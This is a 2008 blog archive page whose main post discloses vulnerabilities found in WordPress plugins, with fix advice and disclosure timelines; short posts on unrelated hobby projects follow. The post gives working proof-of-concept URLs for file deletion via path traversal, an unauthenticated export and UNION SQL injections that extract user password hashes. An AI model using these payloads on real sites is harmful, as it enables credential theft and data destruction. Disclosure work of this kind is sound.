Category Archives: Projects

Spotting vulnerabilities of plugins on WordPress Extend

This is first time I trid to find vulnerability of a software, and this is a one-time project (spending too much time to spot). I use WordPress 2.3.3 to test. I exported all plugins from WordPress Extend Plugin repository at 2008-02-05 08:00 to 10:49 and revisions were from r30828 to r30834, 2650 plugins directories.

It’s impossible to check them one by one and I am not a security expert, so I only did

grep -nr "\$wpdb.*\$_GET" * > wpdb-GET.txt

as well as POST, REQUEST and fopen. I think I may not check them all and I only check those are working (some have bugs) and quite new plugins (have updates after 2007) . After I finish GET, I may skip to check fopen.

You probably think I will miss a lot possibilities of vulnerabilities. Yes, the plugin developers may retrieve form data before querying a SQL statement. I can’t check all, if you have time, please check plugins which you are using on you blog and tell me what you find.

Currently I am checking GET and I was planning to finish it before posting this, however the first plugin I spotted a vulnerability has around 100 downloads a day. So I decided to keep updating this post when I get something (Hope I won’t get something in my own plugins).

Few hours past, I still didn’t spot new one. So I will keep an eye on Recently Updated plugins and this becomes an on-going project.

Got my mail?

If you get my mail about you plugins, please check the testing data and secure your plugin. Please must inform me as soon as you fixed the security holes. I will wait at least one week before I release testing data. If I make any mistake to mis-test your plugin, please let me know and I am so sorry.

Suggestions

  • Secure SQL statement:
    • Must validate all form data before put them into SQL statement. For example, (int), intval(), is_numeric(), etc.
    • Use $wpdb->escape() to wrapping form data, this function will encode "\\;$%20.',//_/**/+\"- --" into "\\\\;$%20.\\',//_/**/+\\"- --".
    • $wpdb->prepare() is a better way to query
  • Always check privilege of users for actions that need higher level permissions
  • Remove irrelevant files from repository: such as .cache, .hg, etc
  • Don’t let blog owner install files that won’t be used: such as readme.txt, screenshots

Spotted plugins

Currently found 3 plugins with vulnerabilities. Detail testing data will be released as soon as plugins get fixed, or at least one week later after spotted.

lenky-related-links 1.0.2 – Fixed on Feb 12, 2008 in version 1.0.3

Spotted at 2008-02-11T09:02:34+0800. Informed at 2008-02-11T09:07:45+0800 via contact form. As of 2008-02-11T09:02:39+0800, lenky-related-links has 4 downloads.

File deletion

http://test.dfed/wp/wp-content/plugins/lenkyex/cache_del.php?f=../../../../wp-config.php

statpress 1.2.3 – Fixed on Feb 10, 2008 in version 1.2.4

Spotted at 2008-02-06T23:21:21+0800. Informed at 2008-02-07T00:42:49+0800 via contact form. As of 2008-02-06T23:46:52+0800, statpress has 20,631 downloads

No user privilege checking when exporting data

http://test.dfed/wp/wp-admin/index.php?page=statpress&statpress_action=exportnow&from=20080101&to=20080301

Cause – L12 at statpress.php:

if ($_GET['statpress_action'] == 'exportnow') {
    iriStatPressExportNow();
}

This makes a global hole meaning you should be able to export at almost every blog page. Just move this block of code to admin page hooked function shall patch this hole.

SQL Injection

http://test.dfed/wp/wp-admin/index.php?page=statpress&statpress_action=exportnow&from=20080101&to=20080301'%20union%20select%202,concat(user_login,0x2f,user_pass,0x2f,user_email),3,4,5,6,7,8,9,10,11,12,13,14,15,16%20from%20wp_users%20where%20id=1%20and%20id!='

You can remove id=1%20and%20 in order to export all account hash passwords.

Sample of export data:

date;time;ip;urlrequested;agent;referrer;search;nation;os;browser;searchengine;spider;feed
"20080206";"22:49:38";"192.168.1.12";"/wp/";"Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.10) Gecko/20071213 Fedora/2.0.0.10-3.fc8 Firefox/2.0.0.10";"";"";"";"Linux";"Firefox 2";"";"";""
"admin/202cb962ac59075b964b07152d234b70/admin@gmail.com";"3";"4";"5";"6";"7";"8";"9";"10";"11";"12";"13";"14"

Cause – same as previous hole with:

function iriStatPressExportNow() {
    global $wpdb;
    $table_name = $wpdb->prefix . "statpress";
    $filename=get_bloginfo('title' )."-statpress_".$_GET['from']."-".$_GET['to'].".csv";
    header('Content-Description: File Transfer');
    header("Content-Disposition: attachment; filename=$filename");
    header('Content-Type: text/plain charset=' . get_option('blog_charset'), true);
    $qry = $wpdb->get_results("SELECT * FROM $table_name WHERE date>='".$_GET['from']."' AND date<='".$_GET&#91;'to'&#93;."';");
&#91;/code&#93;
Validate both <code>$_GET['form']</code> and <code>$_GET['to']</code> to fix.


<h3><a href="http://wordpress.org/extend/plugins/wp-photo-album/">wp-photo-album</a> 1.0 -  Fixed at Feb 7, 2008 6:38 PM in version 1.1</h3>
Spotted at 2008-02-07T02:57:02+0800. Informed at 2008-02-07T03:02:56+0800 via email As of 2008-02-07T02:58:35+0800 wppa has 83 downloads.
<h4>SQL Injection</h4>
<pre>http://test.dfed/wp/?page_id=3&amp;album=1&amp;photo=123456789%20union%20select%20concat(user_login,0x2f,user_pass,0x2f,user_email)%20from%20wp_users%20where%20id=1</pre>
Where <code>photo=123456789</code> is a non-exist photo.

You will get something like
<pre>admin/202cb962ac59075b964b07152d234b70/admin@gmail.com</pre>

Cause - L1001 at <code>wppa.php</code>:
// get the name of a full sized image
function wppa_photo_name($id = '', $return = FALSE) {
    global $wpdb;
    if ($id == '') { $id = $_GET['photo']; }
    $name = $wpdb->get_var("SELECT name FROM " . PHOTO_TABLE . " WHERE id=$id");

Related Posts

How to translate bbPress

I set up a Traditional Chinese forums few days ago, therefore I need to translate bbPress. I used my script, bmgc, to help me translate it. You can read README in this repository, then make your own language file. I am also welcome you send me your own translation of bbPress once you finishing. I will host it in this repository, if you would like to share.

Related Links and Posts

bbPress 中文語系檔

數天前,設立了一個中文討論區:非營利組織及公益資訊討論區。所以開始著手翻譯,很多地方真的不知道如何翻才貼切。如果您有任何建議,歡迎在此留言或於該討論區的其他討論區中發表。此外,該討論區並非「測試用」,如果您有認識任何人或您本身與討論區主題相關,皆歡迎使用。

此中文語系檔翻譯自 bbPress 0.8.3.1,目前進度 462 / 553 (83%)。您可在此處下載並重新命名為zh_TW.mo

相關連結及文章

Google Gadget HTML Tool

My first Google Gadget! Not yet finished, but you can see some features. Try to play with it!

You can read documentation on assembla, browser the source, or add to your webpage or to Add to Google (iGoogle). Here is the link to the released XML, if you need it.

I will keep adding new tools that I might use or you can ask me to add something you need. If I just copy and paste other code, there may have many features available. But I am not going to do that.

If you have any suggestions, leave a message here or post to forum.

This gadget is licensed under GPLv3.

Updates:

  • 2008-01-19: Added Text/Shuffle Lines – I use this to decide my tasks’ order. 🙂
  • 2008-01-18: Got about page available, but author page shows blank page.
  • 2008-01-16: Added Base64

UNV Online Volunteering Assignments Feed

Last November, I submitted a question about a feed of assignments. I got this response:

Unfortunately, it is not possible yet to have RSS feeds.

I also replied, but no future response back, possibly that’s a no-reply email. Later, I decided to write a feed generator. Now, here it is, although I took one and a half month to start writing this program.

You can subscribe to this feed via Feedburner, or Add to Google.

If you are also interested in the code, which is written in Python. You can download it or browser the source.

If you have any suggestions for this feed, you are welcome to post your comments on LLBB Small Creations Forum.

* Notice: the content of this feed is from UNV Online Volunteering, but this feed is not affiliated with United Nation or UNV Online Volunteering.

I am the cutest cat in this world

I am cutest cat in this world (2/3)This series photo is for a project “I am” I started about a month ago. It collects visitors’ information which are provided by the visitors. The most important purpose is collecting people’s self-descriptions. I planned when the entries reach a specific amount, it can analysis which region’s people are happy, do females describe themselves more optimistic than males, etc.

BUT! I got NO entries. So if you are interested in this project, please go to check this page out and fill your information in the form. Only first field is required, others are optional.

PS. That page is for human.

On this day for Blogger

I just finished this plugin. The idea came up on early August. It is similar to On this day for WordPress but much simpler.

If you are interested in it, please go to its website and follow this installing guide to get the list.

Here is a demo blog on Blogger. You may only see “No post on this day.” at the sidebar.

If you have posted posts on Blogger for many years and you have used this plugin, please notice me. I may make a link to your post as demo post.

I am

This is my latest project called “I am”. It is for collecting how people think about themselves. It could be just an adjective, or a list of adjectives. Moreover, it analyze these self-descriptions, try to find something interesting.

Currently, you can only see very simple statistics. I believe we will see more while entries increasing. If you have any idea about this project, please leave your comments here.

Check it out.

WP Plugin: On this day demo post

This is a demo post for “On this day“.

The OTD list at sidebar of home page lists posts which have same calendar date as today’s.

The OTD list at sidebar lists posts which were published July 29th same as this post.

You are welcome to leave a comment about your blog, pingback or trackback here if you use this plugin.

WP Plugin: Cite this demo post

This is my second WordPress plugin on WordPress Extend.

Please visit this plugin’s website first, tell me what do you think here. You should already see how it looks like below this line. Just click (new window) or Cite this..

Design a site like this with WordPress.com
Get started